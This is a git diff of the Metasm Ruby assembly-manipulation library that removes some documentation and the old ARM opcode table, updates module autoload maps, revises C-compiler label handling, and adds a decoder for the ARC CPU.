- -If you intend to use the graphical user-interface (debugger/disassembler), -if you are under Windows with a 32bit x86 ruby, this should work out of the -box. In any other case, you'll need the `ruby-gtk2` library. - -Linux -##### - -Under linux, use your package manager to install `ruby-gtk2`, e.g. for -Debian/Ubuntu, type: - - sudo apt-get install libgtk2-ruby - - -Windows -####### - -If you run a 32bit Ia32 ruby interpreter (check that `ruby -v` returns -something like `[i386-mswin32]`), the Gui should work right away without -`gtk2`, so go directly to the `Testing` part. - -Otherwise, you'll need to install the `gtk2` libs and the ruby bindings -manually. Please follow the instructions at - - - -Testing -####### - -To test the correct working of the Gui, simply launch the -`samples/disassemble-gui.rb` script found in the metasm directory -(double-click on the script, or type `ruby samples/disassemble-gui.rb` at -a command prompt). It should display a window with a menu, and should -answer to a `ctrl-o` keystroke with an `open binary file` dialog. - -See the for more information. - diff --git a/lib/metasm/doc/style.css b/lib/metasm/doc/style.css deleted file mode 100644 index 29402b52cd..0000000000 --- a/lib/metasm/doc/style.css +++ /dev/null @@ -1,3 +0,0 @@ -span.quote { - font-family: monospace; -} diff --git a/lib/metasm/doc/usage/index.txt b/lib/metasm/doc/usage/index.txt deleted file mode 100644 index bdacd7cef9..0000000000 --- a/lib/metasm/doc/usage/index.txt +++ /dev/null @@ -1 +0,0 @@ -See diff --git a/lib/metasm/doc/use_cases.txt b/lib/metasm/doc/use_cases.txt deleted file mode 100644 index 8b5b05bac8..0000000000 --- a/lib/metasm/doc/use_cases.txt +++ /dev/null @@ -1,18 +0,0 @@ -Metasm use cases -================ - -Metasm is intended to be a binary manipulation toolbox. -There are quite a lot of possible usages that can be derived from the -. - -The major would be related to: - -* the scriptable -* the (with the optionnal ) -* the -* the -* the -* the facilities - -and various interaction between those. - diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb index 122c87b62c..9e27a9681e 100644 --- a/lib/metasm/metasm.rb +++ b/lib/metasm/metasm.rb @@ -15,6 +15,7 @@ module Metasm Const_autorequire_equiv = { 'X86' => 'Ia32', 'PPC' => 'PowerPC', 'X64' => 'X86_64', 'AMD64' => 'X86_64', + 'MIPS64' => 'MIPS', 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', 'DEY' => 'DEX', 'PTrace' => 'LinOS', 'FatELF' => 'ELF', @@ -32,8 +33,10 @@ module Metasm # files to require to get the definition of those constants Const_autorequire = { - 'Ia32' => 'ia32', 'MIPS' => 'mips', 'PowerPC' => 'ppc', 'ARM' => 'arm', - 'X86_64' => 'x86_64', 'Sh4' => 'sh4', 'Dalvik' => 'dalvik', + 'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm', + 'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc', + 'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf', + 'MSP430' => 'cpu/msp430', 'C' => 'compile_c', 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', @@ -41,10 +44,15 @@ module Metasm 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', 'DEX' => 'exe_format/dex', 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', + 'GameBoyRom' => 'exe_format/gb', 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', + 'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass', + 'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip', + 'Shellcode_RWX' => 'exe_format/shellcode_rwx', 'Gui' => 'gui', 'WindowsExports' => 'os/windows_exports', 'GNUExports' => 'os/gnu_exports', + 'Debugger' => 'debug', 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', 'GdbClient' => 'os/remote', 'Disassembler' => 'disassemble', diff --git a/lib/metasm/metasm/arm/opcodes.rb b/lib/metasm/metasm/arm/opcodes.rb deleted file mode 100644 index 4055c2297c..0000000000 --- a/lib/metasm/metasm/arm/opcodes.rb +++ /dev/null @@ -1,177 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/arm/main' - -module Metasm -class ARM - private - def addop(name, bin, *args) - args << :cond if not args.delete :uncond - - o = Opcode.new name, bin - o.args.concat(args & @valid_args) - (args & @valid_props).each { |p| o.props[p] = true } - args.grep(Hash).each { |h| o.props.update h } - - # special args -> multiple fields - case (o.args & [:i8_r, :rm_is, :rm_rs, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12]).first - when :i8_r; args << :i8 << :rotate - when :rm_is; args << :rm << :stype << :shifti - when :rm_rs; args << :rm << :stype << :rs - when :mem_rn_rm; args << :rn << :rm << :rsx << :u - when :mem_rn_i8_12; args << :rn << :i8_12 << :u - when :mem_rn_rms; args << :rn << :rm << :stype << :shifti << :u - when :mem_rn_i12; args << :rn << :i12 << :u - end - - (args & @fields_mask.keys).each { |f| - o.fields[f] = [@fields_mask[f], @fields_shift[f]] - } - - @opcode_list << o - end - - def addop_data_s(name, op, a1, a2, *h) - addop name, op | (1 << 25), a1, a2, :i8_r, :rotate, *h - addop name, op, a1, a2, :rm_is, *h - addop name, op | (1 << 4), a1, a2, :rm_rs, *h - end - def addop_data(name, op, a1, a2) - addop_data_s name, op << 21, a1, a2 - addop_data_s name+'s', (op << 21) | (1 << 20), a1, a2, :cond_name_off => name.length - end - - def addop_load_puw(name, op, *a) - addop name, op, {:baseincr => :post}, :rd, :u, *a - addop name, op | (1 << 24), :rd, :u, *a - addop name, op | (1 << 24) | (1 << 21), {:baseincr => :pre}, :rd, :u, *a - end - def addop_load_lsh_o(name, op) - addop_load_puw name, op, :rsz, :mem_rn_rm, {:cond_name_off => 3} - addop_load_puw name, op | (1 << 22), :mem_rn_i8_12, {:cond_name_off => 3} - end - def addop_load_lsh - op = 9 << 4 - addop_load_lsh_o 'strh', op | (1 << 5) - addop_load_lsh_o 'ldrd', op | (1 << 6) - addop_load_lsh_o 'strd', op | (1 << 6) | (1 << 5) - addop_load_lsh_o 'ldrh', op | (1 << 20) | (1 << 5) - addop_load_lsh_o 'ldrsb', op | (1 << 20) | (1 << 6) - addop_load_lsh_o 'ldrsh', op | (1 << 20) | (1 << 6) | (1 << 5) - end - - def addop_load_puwt(name, op, *a) - addop_load_puw name, op, *a - addop name+'t', op | (1 << 21), {:baseincr => :post, :cond_name_off => name.length}, :rd, :u, *a - end - def addop_load_o(name, op, *a) - addop_load_puwt name, op, :mem_rn_i12, *a - addop_load_puwt name, op | (1 << 25), :mem_rn_rms, *a - end - def addop_load(name, op) - addop_load_o name, op - addop_load_o name+'b', op | (1 << 22), :cond_name_off => name.length - end - - def addop_ldm_go(name, op, *a) - addop name, op, :rn, :reglist, {:cond_name_off => 3}, *a - end - def addop_ldm_w(name, op, *a) - addop_ldm_go name, op, *a # base reg untouched - addop_ldm_go name, op | (1 << 21), {:baseincr => :post}, *a # base updated - end - def addop_ldm_s(name, op) - addop_ldm_w name, op # transfer regs - addop_ldm_w name, op | (1 << 22), :usermoderegs # transfer usermode regs - end - def addop_ldm_p(name, op) - addop_ldm_s name+'a', op # target memory included - addop_ldm_s name+'b', op | (1 << 24) # target memory excluded, transfer starts at next addr - end - def addop_ldm_u(name, op) - addop_ldm_p name+'d', op # transfer made downward - addop_ldm_p name+'i', op | (1 << 23) # transfer made upward - end - def addop_ldm(name, op) - addop_ldm_u name, op - end - - # ARMv6 instruction set, aka arm7/arm9 - def init_arm_v6 - @opcode_list = [] - @valid_props << :baseincr << :cond << :cond_name_off << :usermoderegs << - :tothumb << :tojazelle - @valid_args.concat [:rn, :rd, :rm, :crn, :crd, :crm, :cpn, :reglist, :i24, - :rm_rs, :rm_is, :i8_r, :mem_rn_rm, :mem_rn_i8_12, :mem_rn_rms, :mem_rn_i12] - @fields_mask.update :rn => 0xf, :rd => 0xf, :rs => 0xf, :rm => 0xf, - :crn => 0xf, :crd => 0xf, :crm => 0xf, :cpn => 0xf, - :rnx => 0xf, :rdx => 0xf, :rsx => 0xf, - :shifti => 0x1f, :stype => 3, :rotate => 0xf, :reglist => 0xffff, - :i8 => 0xff, :i12 => 0xfff, :i24 => 0xff_ffff, :i8_12 => 0xf0f, - :u => 1, :mask => 0xf, :sbo => 0xf, :cond => 0xf - - @fields_shift.update :rn => 16, :rd => 12, :rs => 8, :rm => 0, - :crn => 16, :crd => 12, :crm => 0, :cpn => 8, - :rnx => 16, :rdx => 12, :rsx => 8, - :shifti => 7, :stype => 5, :rotate => 8, :reglist => 0, - :i8 => 0, :i12 => 0, :i24 => 0, :i8_12 => 0, - :u => 23, :mask => 16, :sbo => 12, :cond => 28 - - addop_data 'and', 0, :rd, :rn - addop_data 'eor', 1, :rd, :rn - addop_data 'xor', 1, :rd, :rn - addop_data 'sub', 2, :rd, :rn - addop_data 'rsb', 3, :rd, :rn - addop_data 'add', 4, :rd, :rn - addop_data 'adc', 5, :rd, :rn - addop_data 'sbc', 6, :rd, :rn - addop_data 'rsc', 7, :rd, :rn - addop_data 'tst', 8, :rdx, :rn - addop_data 'teq', 9, :rdx, :rn - addop_data 'cmp', 10, :rdx, :rn - addop_data 'cmn', 11, :rdx, :rn - addop_data 'orr', 12, :rd, :rn - addop_data 'or', 12, :rd, :rn - addop_data 'mov', 13, :rd, :rnx - addop_data 'bic', 14, :rd, :rn - addop_data 'mvn', 15, :rd, :rnx - - addop 'b', 0b1010 << 24, :setip, :stopexec, :i24 - addop 'bl', 0b1011 << 24, :setip, :stopexec, :i24, :saveip - addop 'bkpt', (0b00010010 << 20) | (0b0111 << 4) # other fields are available&unused, also cnd != AL is undef - addop 'blx', 0b1111101 << 25, :setip, :stopexec, :saveip, :tothumb, :h, :nocond, :i24 - addop 'blx', (0b00010010 << 20) | (0b0011 << 4), :setip, :stopexec, :saveip, :tothumb, :rm - addop 'bx', (0b00010010 << 20) | (0b0001 << 4), :setip, :stopexec, :rm - addop 'bxj', (0b00010010 << 20) | (0b0010 << 4), :setip, :stopexec, :rm, :tojazelle - - addop_load 'str', (1 << 26) - addop_load 'ldr', (1 << 26) | (1 << 20) - addop_load_lsh - addop_ldm 'stm', (1 << 27) - addop_ldm 'ldm', (1 << 27) | (1 << 20) - end - alias init_latest init_arm_v6 -end -end - -__END__ - addop_cond 'mrs', 0b0001000011110000000000000000, :rd - addop_cond 'msr', 0b0001001010011111000000000000, :rd - addop_cond 'msrf', 0b0001001010001111000000000000, :rd - - addop_cond 'mul', 0b000000000000001001 << 4, :rd, :rn, :rs, :rm - addop_cond 'mla', 0b100000000000001001 << 4, :rd, :rn, :rs, :rm - - addop_cond 'swp', 0b0001000000000000000010010000, :rd, :rn, :rs, :rm - addop_cond 'swpb', 0b0001010000000000000010010000, :rd, :rn, :rs, :rm - - addop_cond 'undef', 0b00000110000000000000000000010000 - - addop_cond 'swi', 0b00001111 << 24 - - addop_cond 'bkpt', 0b1001000000000000001110000 - addop_cond 'movw', 0b0011 << 24, :movwimm diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb index 4dcd816925..63a1b8b86d 100644 --- a/lib/metasm/metasm/compile_c.rb +++ b/lib/metasm/metasm/compile_c.rb @@ -11,14 +11,14 @@ module Metasm module C class Parser def precompile - @toplevel.precompile(Compiler.new(self)) + @toplevel.precompile(Compiler.new(self, @program)) self end end # each CPU defines a subclass of this one class Compiler - # an ExeFormat (mostly used for unique label creation) + # an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name) attr_accessor :exeformat # the C Parser (destroyed by compilation) attr_accessor :parser @@ -26,6 +26,8 @@ module C attr_accessor :source # list of unique labels generated (to recognize user-defined ones) attr_accessor :auto_label_list + # map asm name -> original C name (for exports etc) + attr_accessor :label_oldname attr_accessor :curexpr # allows 'raise self' (eg struct.offsetof) @@ -34,9 +36,11 @@ module C end # creates a new CCompiler from an ExeFormat and a C Parser - def initialize(parser, exeformat=ExeFormat.new, source=[]) + def initialize(parser, exeformat=nil, source=[]) + exeformat ||= ExeFormat.new @parser, @exeformat, @source = parser, exeformat, source @auto_label_list = {} + @label_oldname = {} end def new_label(base='') @@ -155,7 +159,9 @@ module C c_init_state(func) # hide the full @source while compiling, then add prolog/epilog (saves 1 pass) - @source << '' << "#{func.name}:" + @source << '' + @source << "#{@label_oldname[func.name]}:" if @label_oldname[func.name] + @source << "#{func.name}:" presource, @source = @source, [] c_block(func.initializer) @@ -246,6 +252,7 @@ module C w = data.type.align(@parser) @source << ".align #{align = w}" if w > align + @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] @source << data.name.dup len = c_idata_inner(data.type, data.initializer) len %= w @@ -398,6 +405,7 @@ module C end def c_udata(data, align) + @source << "#{@label_oldname[data.name]}:" if @label_oldname[data.name] @source << "#{data.name} " @source.last << case data.type @@ -418,7 +426,11 @@ module C len == 0 ? align : len end + # return non-nil if the variable name is unsuitable to appear as is in the asm listing + # eg filter out asm instruction names def check_reserved_name(var) + return true if @exeformat.cpu and @exeformat.cpu.check_reserved_name(var.name) + %w[db dw dd dq].include?(var.name) end end @@ -538,21 +550,36 @@ module C class Declaration def precompile(compiler, scope) if (@var.type.kind_of? Function and @var.initializer and scope != compiler.toplevel) or @var.storage == :static or compiler.check_reserved_name(@var) - # TODO fix label name in export table if __exported - scope.symbol.delete @var.name old = @var.name - @var.name = compiler.new_label @var.name until @var.name != old - compiler.toplevel.symbol[@var.name] = @var - # TODO no pure inline if addrof(func) needed - compiler.toplevel.statements << self unless @var.attributes.to_a.include? 'inline' + ref = scope.symbol.delete old + if scope == compiler.toplevel or (@var.type.kind_of?(Function) and not @var.initializer) + if n = compiler.label_oldname.index(old) + # reuse same name as predeclarations + @var.name = n + else + newname = old + newname = compiler.new_label newname until newname != old + if not compiler.check_reserved_name(@var) + compiler.label_oldname[newname] = old + end + @var.name = newname + end + ref ||= scope.symbol[@var.name] || @var + # append only one actual declaration for all predecls (the one with init, or the last uninit) + scope.statements << self if ref.eql?(@var) + else + @var.name = compiler.new_label @var.name until @var.name != old + compiler.toplevel.statements << self + end + compiler.toplevel.symbol[@var.name] = ref else scope.symbol[@var.name] ||= @var - appendme = true + appendme = true if scope.symbol[@var.name].eql?(@var) end if i = @var.initializer if @var.type.kind_of? Function - if @var.type.type.kind_of? Struct + if @var.type.type.kind_of? Union s = @var.type.type v = Variable.new v.name = compiler.new_label('return_struct_ptr') @@ -568,6 +595,7 @@ module C Label.new(i.return_label).precompile(compiler, i) i.precompile_optimize # append now so that static dependencies are declared before us + # TODO no pure inline if addrof(func) needed scope.statements << self if appendme and not @var.attributes.to_a.include? 'inline' elsif scope != compiler.toplevel and @var.storage != :static scope.statements << self if appendme @@ -580,7 +608,6 @@ module C else scope.statements << self if appendme end - end # turns an initializer to CExpressions in scope.statements @@ -877,7 +904,7 @@ module C def precompile(compiler, scope) if @value @value = CExpression.new(nil, nil, @value, @value.type) if not @value.kind_of? CExpression - if @value.type.untypedef.kind_of? Struct + if @value.type.untypedef.kind_of? Union @value = @value.precompile_inner(compiler, scope) func = scope.function.type CExpression.new(CExpression.new(nil, :*, func.args.first, @value.type), :'=', @value, @value.type).precompile(compiler, scope) @@ -1011,7 +1038,7 @@ module C lexpr = CExpression.precompile_inner(compiler, scope, @lexpr) @lexpr = nil @op = nil - if struct.kind_of? Struct and (off = struct.offsetof(compiler, @rexpr)) != 0 + if struct.kind_of? Union and (off = struct.offsetof(compiler, @rexpr)) != 0 off = CExpression.new(nil, nil, off, BaseType.new(:int, :unsigned)) @rexpr = CExpression.new(lexpr, :'+', off, lexpr.type) # ensure the (ptr + value) is not expanded to (ptr + value * sizeof(*ptr)) @@ -1157,7 +1184,7 @@ module C } scope.statements << copy_inline[@lexpr.initializer, scope] # body already precompiled CExpression.new(nil, nil, rval, rval.type).precompile_inner(compiler, scope) - elsif @type.kind_of? Struct + elsif @type.kind_of? Union var = Variable.new var.name = compiler.new_label('return_struct') var.type = @type @@ -1434,4 +1461,3 @@ module C end end end - diff --git a/lib/metasm/metasm/cpu/arc.rb b/lib/metasm/metasm/cpu/arc.rb new file mode 100644 index 0000000000..3ee319836c --- /dev/null +++ b/lib/metasm/metasm/cpu/arc.rb @@ -0,0 +1,8 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/main' +require 'metasm/cpu/arc/decode' diff --git a/lib/metasm/metasm/cpu/arc/decode.rb b/lib/metasm/metasm/cpu/arc/decode.rb new file mode 100644 index 0000000000..9b93a3528b --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/decode.rb @@ -0,0 +1,425 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arc/opcodes' +require 'metasm/decode' + +module Metasm +class ARC + def major_opcode(val, sz = 16) + return val >> (sz == 16 ? 0xB : 0x1B) + end + + def sub_opcode(val) + return ((val >> 16) & 0x3f) + end + + def build_opcode_bin_mask(op, sz) + op.bin_mask = 0 + op.args.each { |f| op.bin_mask |= @fields_mask[f] << @fields_shift[f]} + op.bin_mask = ((1 << sz)-1) ^ op.bin_mask + end + + def build_bin_lookaside + bin_lookaside = {} + opcode_list.each{|mode,oplist| + lookaside = {} + # 2nd level to speed up lookaside for major 5 + lookaside[5] = {} + oplist.each { |op| + next if not op.bin.kind_of? Integer + build_opcode_bin_mask(op, mode) + mj = major_opcode(op.bin, mode) + if mode == 32 and mj == 5 + (lookaside[mj][sub_opcode(op.bin)] ||= []) << op + else + (lookaside[mj] ||= []) << op + end + } + bin_lookaside[mode] = lookaside + } + bin_lookaside + end + + def instruction_size(edata) + val = major_opcode(edata.decode_imm(:u16, @endianness)) + edata.ptr -= 2 + (val >= 0xC) ? 16 : 32 + end + + def memref_size(di) + case di.opcode.name + when 'ldb_s', 'stb_s', 'extb_s', 'sexb_s'; 1 + when 'ldw_s', 'stw_s', 'extw_s', 'sexw_s'; 2 + else 4 + end + end + + def decode_bin(edata, sz) + case sz + when 16; edata.decode_imm(:u16, @endianness) + when 32 + # wordswap + val = edata.decode_imm(:u32, :little) + ((val >> 16) & 0xffff) | ((val & 0xffff) << 16) + end + end + + def decode_findopcode(edata) + di = DecodedInstruction.new(self) + + @instrlength = instruction_size(edata) + val = decode_bin(edata, @instrlength) + edata.ptr -= @instrlength/8 + + maj = major_opcode(val, @instrlength) + lookaside = @bin_lookaside[@instrlength][maj] + lookaside = lookaside[sub_opcode(val)] if @instrlength == 32 and maj == 5 + + op = lookaside.select { |opcode| + if $ARC_DEBUG and (val & opcode.bin_mask) == opcode.bin + puts "#{opcode.bin_mask.to_s(16)} - #{opcode.bin.to_s(16)} - #{(val & opcode.bin_mask).to_s(16)} - #{opcode.name} - #{opcode.args}" + end + (val & opcode.bin_mask) == opcode.bin + } + + if op.size == 2 and op.first.name == 'mov' and op.last.name == 'nop' + op = op.last + elsif op == nil or op.size != 1 + puts "[> I sense a disturbance in the force <]" + op.to_a.each { |opcode| puts "#{opcode.name} - #{opcode.args} - #{Expression[opcode.bin]} - #{Expression[opcode.bin_mask]}" } + puts "current value: #{Expression[val]}" + puts "current value: 0b#{val.to_s(2)}" + op = nil + else + op = op.first + end + + di if di.opcode = op + end + + Reduced_reg = [0, 1, 2, 3, 12, 13, 14, 15] + def reduced_reg_set(i) + Reduced_reg[i] + end + + def decode_instr_op(edata, di) + before_ptr = edata.ptr + op = di.opcode + di.instruction.opname = op.name + val = decode_bin(edata, @instrlength) + + field_val = lambda { |f| + r = (val >> @fields_shift[f]) & @fields_mask[f] + case f + + # 16-bits instruction operands ------------------------------------------" + when :ca, :cb, :cb2, :cb3, :cc; r = reduced_reg_set(r) + when :ch + r = (((r & 7) << 3) | (r >> 5)) + when :@cbu7, :@cbu6, :@cbu5 + r = r & 0b11111 + r = (f == :@cbu7) ? r << 2 : ( (f == :@cbu6) ? r << 1 : r) + when :cu5ee; r = r << 2 + when :cdisps13 + r = (Expression.make_signed(r,11) << 2) + ((di.address >> 2) << 2) + when :cdisps10 + r = (Expression.make_signed(r, 9) << 1) + ((di.address >> 2) << 2) + when :cdisps8 + r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) + when :cdisps7 + r = (Expression.make_signed(r, 6) << 1) + ((di.address >> 2) << 2) + when :cs9, :cs10, :cs11 + r = Expression.make_signed(r, ((f== :cs11 ? 11 : (f == :cs10 ? 10 : 9) ))) + r = (f == :cs11) ? r << 2 : ((f == :cs10) ? r << 1 : r) + when :@cspu7; + r = r << 2 + + # 32-bits instruction operands ------------------------------------------" + when :b + r = (r >> 12) | ((r & 0x7) << 3) + when :s8e + r = ((r & 0x1) << 7) | (r >> 2) + r = (Expression.make_signed(r, 8) << 1) + ((di.address >> 2) << 2) + + when :u6e + r = (r << 1) + ((di.address >> 2) << 2) + when :s9 + r = (Expression.make_signed(r, 7) << 1) + ((di.address >> 2) << 2) + + when :s12 + r = (r >> 6) | ((r & 0x3f) << 6) + r = Expression.make_signed(r, 12) + + when :s12e + r = (r >> 6) | ((r & 0x3f) << 6) + r = (Expression.make_signed(r, 12) <<1 ) + ((di.address >> 2) << 2) + + when :s21e + r = ((r & 0x3ff) << 10) | (r >> 11) + r = (Expression.make_signed(r, 20) << 1) + ((di.address >> 2) << 2) + + when :s21ee # pc-relative + r = ((r & 0x3ff) << 9) | (r >> 12) + r = (Expression.make_signed(r, 19) << 2) + ((di.address >> 2) << 2) + + when :s25e # pc-relative + r = ((r & 0xf) << 20) | (((r >> 6) & 0x3ff) << 10) | (r >> 17) + r = (Expression.make_signed(r, 24) << 1) + ((di.address >> 2) << 2) + + when :s25ee # pc-relative + r = ((r & 0xf) << 19) | (((r >> 6) & 0x3ff) << 9) | (r >> 18) + r = (Expression.make_signed(r, 23) << 2) + ((di.address >> 2) << 2) + + when :@bs9 + r = r >> 3 + s9 = ((r & 1) << 8) | ((r >> 1) & 0xff) + r = Expression.make_signed(s9, 9) + + when :bext, :cext, :@cext + if ((r = field_val[(f == :bext) ? :b : :c]) == 0x3E) + tmp = edata.decode_imm(:u32, :little) + r = Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] + else + r = GPR.new(r) + end + + else r + end + r + } + + # decode properties fields + op.args.each { |a| + case a + when :flags15, :flags16 + di.instruction.opname += '.f' if field_val[a] != 0 + when :ccond + di.instruction.opname += ('.' + @cond_suffix[field_val[a]]) if field_val[a] != 0 + when :delay5, :delay16 + di.instruction.opname += '.d' if field_val[a] != 0 + when :cache5, :cache11, :cache16 + di.instruction.opname +='.di' if field_val[a] != 0 + when :signext6, :signext16 + di.instruction.opname += '.x' if field_val[a] != 0 + when :wb3, :wb9, :wb22 + case field_val[a] + when 1; di.instruction.opname += ((memref_size(di) == 2) ? '.ab' : '.a') + when 2; di.instruction.opname += '.ab' + when 3; di.instruction.opname += '.as' + end + when :sz1, :sz7, :sz16, :sz17 + case field_val[a] + when 1; di.instruction.opname += 'b' + when 2; di.instruction.opname += 'w' + end + else + di.instruction.args << case a + + # 16-bits instruction operands ------------------------------------------" + when :cr0; GPR.new 0 + when :ca, :cb, :cb2, :cb3, :cc; GPR.new(field_val[a]) + when :ch + if ((r = field_val[a]) == 0x3E) + tmp = edata.decode_imm(:u32, :little) + Expression[(tmp >> 16) | ((tmp & 0xffff) << 16)] + else + GPR.new(r) + end + + when :@gps9, :@gps10, :@gps11 + imm = (a == :@gps11) ? :cs11 : (a == :@gps10) ? :cs10 : :cs9 + Memref.new(GPR.new(26), Expression[field_val[imm]], memref_size(di)) + + when :cu3, :cu5, :cu5ee, :cu6, :cu7, :cu7l, :cu8; Expression[field_val[a]] + when :cs9, :cs10, :cs11; Expression[field_val[a]] + when :cdisps7, :cdisps8, :cdisps10, :cdisps13; Expression[field_val[a]] + when :@cb; Memref.new(GPR.new(field_val[:cb]), nil, memref_size(di)) + when :@cbu7, :@cbu6, :@cbu5; Memref.new(GPR.new(field_val[:cb]), Expression[field_val[a]], memref_size(di)) + when :@cspu7; Memref.new(GPR.new(28), field_val[a], memref_size(di)) + when :@cbcc; Memref.new(field_val[:cb], field_val[:cc], memref_size(di)) + + # 32-bits instruction operands ------------------------------------------" + when :a, :b + ((r = field_val[a]) == 0x3E) ? :zero : GPR.new(r) + when :b2; GPR.new field_val[:b] + when :c; GPR.new field_val[a] + when :bext, :cext; field_val[a] + when :@cext + target = field_val[a] + (di.opcode.props[:setip] and target.kind_of? GPR) ? Memref.new(target, nil, memref_size(di)) : target + + when :@bextcext + tmp = field_val[a] + #c = tmp & 0x3F + tmp = tmp >> 6 + b = (tmp >> 12) | ((tmp & 0x7) << 3) + Memref.new(field_val[:bext], field_val[:cext], memref_size(di)) + + when :u6, :u6e, :s8e, :s9, :s12; Expression[field_val[a]] + when :s12e, :s21e, :s21ee, :s25e, :s25ee; Expression[field_val[a]] + when :auxs12; AUX.new field_val[:s12] + when :@c; Memref.new(GPR.new(field_val[a]), nil, memref_size(di)) + when :@bcext; Memref.new(field_val[a], nil, memref_size(di)) + when :@bcext; Memref.new(field_val[:b], field_val[:cext], memref_size(di)) + when :@bs9 + # [b,s9] or [limm] if b = 0x3E + base = field_val[:bext] + Memref.new(base, (base.kind_of? GPR) ? Expression[field_val[a]] : nil, memref_size(di)) + + # common instruction operands ------------------------------------------" + when :zero; Expression[0] + when :gp; GPR.new(26) + when :sp, :sp2; GPR.new(28) + when :blink; GPR.new(31) + when :@ilink1; Memref.new(GPR.new(29), nil, memref_size(di)) + when :@ilink2; Memref.new(GPR.new(30), nil, memref_size(di)) + when :@blink; Memref.new(GPR.new(31), nil, memref_size(di)) + + else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" + end + end + } + + di.bin_length += edata.ptr - before_ptr + + return if edata.ptr > edata.virtsize + + di + end + + def disassembler_default_func + df = DecodedFunction.new + df.backtrace_binding = {} + 15.times { |i| + df.backtrace_binding["r#{i}".to_sym] = Expression::Unknown + } + df.backtracked_for = [] + df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| + if funcaddr != :default + btfor + elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] + btfor + else [] + end + } + df + end + + REG_SYMS = [:r26, :r27, :r28, :r29, :r30, :r31, :r60] + def register_symbols + REG_SYMS + end + + def backtrace_binding + @backtrace_binding ||= init_backtrace_binding + end + + def opshift(op) + op[/\d/].to_i + end + + def with_res(arg) + arg != :zero + end + + def init_backtrace_binding + sp = :r28 + blink = :r31 + + @backtrace_binding ||= {} + + mask = lambda { |sz| (1 << sz)-1 } # 32bits => 0xffff_ffff + + opcode_list.each{|mode, oplist| + oplist.map { |ol| ol.name }.uniq.each { |op| + binding = case op + when /^add/, /^sub/ + lambda { |di, a0, a1, a2| + if (shift = opshift(op)) == 0 + { a0 => Expression[[a1, :+, a2], :&, mask[32]] } + else + { a0 => Expression[[a1, :+, [a2, :<<, shift]], :&, mask[32]] } + end + } + when /^and/ + lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, a2] } } + when /^asl/ + lambda { |di, *a| { a[0] => Expression[[a[1], :<<, (a[2] ? a[2]:1)], :&, mask[32]] } } + when /^bxor/ + lambda { |di, a0, a1, a2| { a0 => Expression[a1, :^, [1, :<<, a2]] }} + when /^bclr/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :&, Expression[mask[32], :^, Expression[1, :<<, a2]]] } } + when /^bset/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, Expression[1, :<<, a2]] } } + when /^jl/; lambda { |di, a0| { blink => Expression[di.next_addr] } } + when 'bl', 'bl_s', /^bl\./ + # FIXME handle delay slot + # "This address is taken either from the first instruction following the branch (current PC) or the + # instruction after that (next PC) according to the delay slot mode (.d)." + lambda { |di, a0| { blink => Expression[di.next_addr] } } + when /^mov/, /^lr/, /^ld/; lambda { |di, a0, a1| { a0 => a1 } } + when /^neg/; lambda { |di, a0, a1| { a0 => Expression[[0, :-, a1], :&, mask[32]] } } + when /^not/; lambda { |di, a0, a1| { a0 => Expression[[:~, a1], :&, mask[32]] } } + when /^or/; lambda { |di, a0, a1, a2| { a0 => Expression[a1, :|, a2] } } + when /^st/, /^sr/; lambda { |di, a0, a1| { a1 => a0 } } + when /^ex/; lambda { |di, a0, a1| { a1 => a0 , a0 => a1 } } + when 'push_s' + lambda { |di, a0| { + sp => Expression[sp, :-, 4], + Indirection[sp, @size/8, di.address] => Expression[a0] + } } + when 'pop_s' + lambda { |di, a0| { + a0 => Indirection[sp, @size/8, di.address], + sp => Expression[sp, :+, 4] + } } + end + @backtrace_binding[op] ||= binding if binding + } + } + + @backtrace_binding + end + + def get_backtrace_binding(di) + a = di.instruction.args.map { |arg| + case arg + when GPR; arg.symbolic + when Memref; arg.symbolic(di.address) + else arg + end + } + + if binding = backtrace_binding[di.opcode.basename] + binding[di, *a] + else + puts "unhandled instruction to backtrace: #{di}" if $VERBOSE + { :incomplete_binding => Expression[1] } + end + end + + def get_xrefs_x(dasm, di) + return [] if not di.opcode.props[:setip] + + arg = case di.opcode.name + when 'b', 'b_s', /^j/, /^bl/, /^br/, 'lp' + expr = di.instruction.args.last + expr.kind_of?(Memref) ? expr.base : expr + else di.instruction.args.last + end + + [Expression[(arg.kind_of?(Reg) ? arg.symbolic : arg)]] + end + + def backtrace_is_function_return(expr, di=nil) + Expression[expr].reduce == 